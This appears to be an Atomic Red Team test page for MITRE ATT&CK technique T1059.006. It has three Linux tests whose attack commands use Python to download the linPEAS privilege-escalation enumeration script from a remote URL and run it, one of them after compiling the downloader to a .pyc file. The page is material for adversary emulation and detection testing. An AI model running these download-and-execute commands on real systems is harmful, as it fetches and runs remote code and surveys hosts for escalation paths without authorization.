# T1059.006 - Python
## [Description from ATT&CK](https://attack.mitre.org/techniques/T1059/006)
<blockquote>Adversaries may abuse Python commands and scripts for execution. Python is a very popular scripting/programming language, with capabilities to perform many functions. Python can be executed interactively from the command-line (via the <code>python.exe</code> interpreter) or via scripts (.py) that can be written and distributed to different systems. Python code can also be compiled into binary executables.

Python comes with many built-in packages to interact with the underlying system, such as file operations and device I/O. Adversaries can use these libraries to download and execute commands or other scripts as well as perform various malicious behaviors.</blockquote>

## Atomic Tests

- [Atomic Test #1 - Execute shell script via python's command mode arguement](#atomic-test-1---execute-shell-script-via-pythons-command-mode-arguement)

- [Atomic Test #2 - Execute Python via scripts (Linux)](#atomic-test-2---execute-python-via-scripts-linux)

- [Atomic Test #3 - Execute Python via Python executables (Linux)](#atomic-test-3---execute-python-via-python-executables-linux)


<br/>

## Atomic Test #1 - Execute shell script via python's command mode arguement
Download and execute shell script and write to file then execute locally using Python -c (command mode)

**Supported Platforms:** Linux


**auto_generated_guid:** 3a95cdb2-c6ea-4761-b24e-02b71889b8bb





#### Inputs:
| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| script_url | Shell script public URL | String | https://raw.githubusercontent.com/carlospolop/privilege-escalation-awesome-scripts-suite/master/linPEAS/linpeas.sh|
| payload_file_name | Name of shell script downloaded from the script_url | String | T1059.006-payload|
| executor | Linux shell | String | sh|
| script_args | Arguments to check for system stats, available software, process details, environment paths, open sockets, and interesting files. | String | -q -o SysI, Devs, AvaSof, ProCronSrvcsTmrsSocks, Net, UsrI, SofI, IntFiles|


#### Attack Commands: Run with `sh`! 


```sh
which_python=$(which python || which python3 || which python2)
$which_python -c 'import requests;import os;url = "#{script_url}";malicious_command = "#{executor} #{payload_file_name} #{script_args}";session = requests.session();source = session.get(url).content;fd = open("#{payload_file_name}", "wb+");fd.write(source);fd.close();os.system(malicious_command)'
```

#### Cleanup Commands:
```sh
rm #{payload_file_name}
```



#### Dependencies:  Run with `sh`!
##### Description: Verify if python is in the environment variable path and attempt to import requests library.
##### Check Prereq Commands:
```sh
which_python=$(which python || which python3 || which python2); $which_python -V
$which_python -c 'import requests' 2>/dev/null; echo $?
```
##### Get Prereq Commands:
```sh
pip install requests
```




<br/>
<br/>

## Atomic Test #2 - Execute Python via scripts (Linux)
Create Python file (.py) that downloads and executes shell script via executor arguments

**Supported Platforms:** Linux


**auto_generated_guid:** 6c4d1dcb-33c7-4c36-a8df-c6cfd0408be8





#### Inputs:
| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| python_script_name | Python script name | Path | T1059.006.py|
| script_url | Shell script public URL | String | https://raw.githubusercontent.com/carlospolop/privilege-escalation-awesome-scripts-suite/master/linPEAS/linpeas.sh|
| payload_file_name | Shell script file name downloaded from the script_url | String | T1059.006-payload|
| executor | Payload or script interpreter / executor | String | sh|
| script_args | Arguments to check for system stats, available software, process details, environment paths, open sockets, and interesting files | String | -q -o SysI, Devs, AvaSof, ProCronSrvcsTmrsSocks, Net, UsrI, SofI, IntFiles|


#### Attack Commands: Run with `sh`! 


```sh
which_python=$(which python || which python3 || which python2)
echo 'import requests' > #{python_script_name}
echo 'import os' >> #{python_script_name}
echo 'url = "#{script_url}"' >> #{python_script_name}
echo 'malicious_command = "#{executor} #{payload_file_name} #{script_args}"' >> #{python_script_name}
echo 'session = requests.session()' >> #{python_script_name}
echo 'source = session.get(url).content' >> #{python_script_name}
echo 'fd = open("#{payload_file_name}", "wb+")' >> #{python_script_name}
echo 'fd.write(source)' >> #{python_script_name}
echo 'fd.close()' >> #{python_script_name}
echo 'os.system(malicious_command)' >> #{python_script_name}
$which_python #{python_script_name}
```

#### Cleanup Commands:
```sh
rm #{python_script_name} #{payload_file_name}
```



#### Dependencies:  Run with `sh`!
##### Description: Requires Python
##### Check Prereq Commands:
```sh
which_python=$(which python || which python3 || which python2); $which_python -V
$which_python -c 'import requests' 2>/dev/null; echo $?
```
##### Get Prereq Commands:
```sh
pip install requests
```




<br/>
<br/>

## Atomic Test #3 - Execute Python via Python executables (Linux)
Create Python file (.py) then compile to binary (.pyc) that downloads an external malicious script then executes locally using the supplied executor and arguments

**Supported Platforms:** Linux


**auto_generated_guid:** 0b44d79b-570a-4b27-a31f-3bf2156e5eaa





#### Inputs:
| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| python_script_name | Name of Python script name | Path | T1059.006.py|
| script_url | URL hosting external malicious payload | String | https://raw.githubusercontent.com/carlospolop/privilege-escalation-awesome-scripts-suite/master/linPEAS/linpeas.sh|
| payload_file_name | Shell script file name downloaded from the script_url | String | T1059.006-payload|
| executor | Payload or script interpreter / executor | String | sh|
| script_args | Arguments to check for system stats, available software, process details, environment paths, open sockets, and interesting files | String | -q -o SysI, Devs, AvaSof, ProCronSrvcsTmrsSocks, Net, UsrI, SofI, IntFiles|
| python_binary_name | Name of Python file to be compiled | Path | T1059.006.pyc|


#### Attack Commands: Run with `sh`! 


```sh
which_python=$(which python || which python3 || which python2)
echo 'import requests' > #{python_script_name}
echo 'import os' >> #{python_script_name}
echo 'url = "#{script_url}"' >> #{python_script_name}
echo 'malicious_command = "#{executor} #{payload_file_name} #{script_args}"' >> #{python_script_name}
echo 'session = requests.session()' >> #{python_script_name}
echo 'source = session.get(url).content' >> #{python_script_name}
echo 'fd = open("#{payload_file_name}", "wb+")' >> #{python_script_name}
echo 'fd.write(source)' >> #{python_script_name}
echo 'fd.close()' >> #{python_script_name}
echo 'os.system(malicious_command)' >> #{python_script_name}
$which_python -c 'import py_compile; py_compile.compile("#{python_script_name}", "#{python_binary_name}")'
$which_python #{python_binary_name}
```

#### Cleanup Commands:
```sh
rm #{python_binary_name} #{python_script_name} #{payload_file_name}
```



#### Dependencies:  Run with `sh`!
##### Description: Requires Python
##### Check Prereq Commands:
```sh
which_python=$(which python || which python3 || which python2); $which_python -V
$which_python -c 'import requests' 2>/dev/null; echo $?
```
##### Get Prereq Commands:
```sh
pip install requests
```




<br/>
